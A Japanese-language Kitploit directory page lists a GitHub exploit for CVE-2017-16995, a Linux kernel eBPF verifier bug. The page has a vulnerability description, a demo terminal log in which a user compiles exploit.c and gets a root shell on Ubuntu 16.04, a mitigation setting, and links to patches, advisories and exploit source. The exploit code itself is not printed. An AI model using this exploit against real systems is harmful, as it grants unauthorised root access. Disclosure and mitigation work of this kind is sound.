Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2017-16995 — Linux カーネルバージョン 4.14 - 4.4 (Ubuntu && Debian) | Kitploit
ツール/GitHubGitHub/c0dak/cve-2017-16995
特権昇格脆弱性分析エクスプロイトバイナリエクスプロイト
GitHubc0dak/cve-2017-16995

CVE-2017-16995

Linux カーネルバージョン 4.14 - 4.4 (Ubuntu && Debian)

リポジトリを見る
158年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Linux カーネル バージョン 4.14 - 4.4 (Ubuntu && Debian)

説明

この脆弱性はLinuxカーネルに搭載されているeBPF bpf(2)システムコールに存在し、ユーザーが悪意のあるBPFプログラムを提供することでeBPF検証モジュールの計算エラーを引き起こし、任意のメモリ読み書き問題を引き起こします。非特権ユーザーはこの脆弱性を利用して権限昇格を得ることができます。脆弱性はGoogle Project Zeroによって発見されました。

脆弱性番号

CVE-2017-16995

脅威レベル

高リスク

デモ

root@kitploit:~
bearcat@ubuntu:/opt$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.4 LTS
Release:        16.04
Codename:       xenial
bearcat@ubuntu:/opt$ uname -a
Linux ubuntu 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
bearcat@ubuntu:/opt$ id
uid=1000(bearcat) gid=1000(bearcat) groups=1000(bearcat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
bearcat@ubuntu:/opt$ ls
exploit.c
bearcat@ubuntu:/opt$ gcc exploit.c -o exploit
bearcat@ubuntu:/opt$ ./exploit
task_struct = ffff88003a0db800
uidptr = ffff8800374b76c4
spawning root shell
root@ubuntu:/opt# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(bearcat)
root@ubuntu:/opt#

修正提案

1.現時点では明確なパッチアップグレード案はありません。リスクを評価した上で、カーネルパラメータを変更して一般ユーザーがbpf(2)システムコールを使用できないように制限することを推奨します:

パラメータ「kernel.unprivileged_bpf_disabled = 1」を設定し、bpf(2)呼び出しへのアクセスを制限することでこの権限昇格を防ぎます。

root@Ubuntu# echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled

2.関連コードパッチ https://github.com/torvalds/linux/commit/95a762e2c8c942780948091f8f2a4f32fce1ac6f

関連リンク

http://cyseclabs.com/exploits/upstream44.c

https://security-tracker.debian.org/tracker/CVE-2017-16995

https://www.securityfocus.com/bid/102288

https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor?utmcampaign=General%20website&utmcontent=67375488&utmmedium=social&utmsource=twitter

https://bugs.chromium.org/p/project-zero/issues/detail?id=1454&desc=

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f

https://cert.360.cn/warning/detail?id=119f849891f2a1b5deef65f99923ab5a

https://github.com/torvalds/linux/commit/95a762e2c8c942780948091f8f2a4f32fce1ac6f

https://github.com/jas502n/Ubuntu-0day

ツールをダウンロード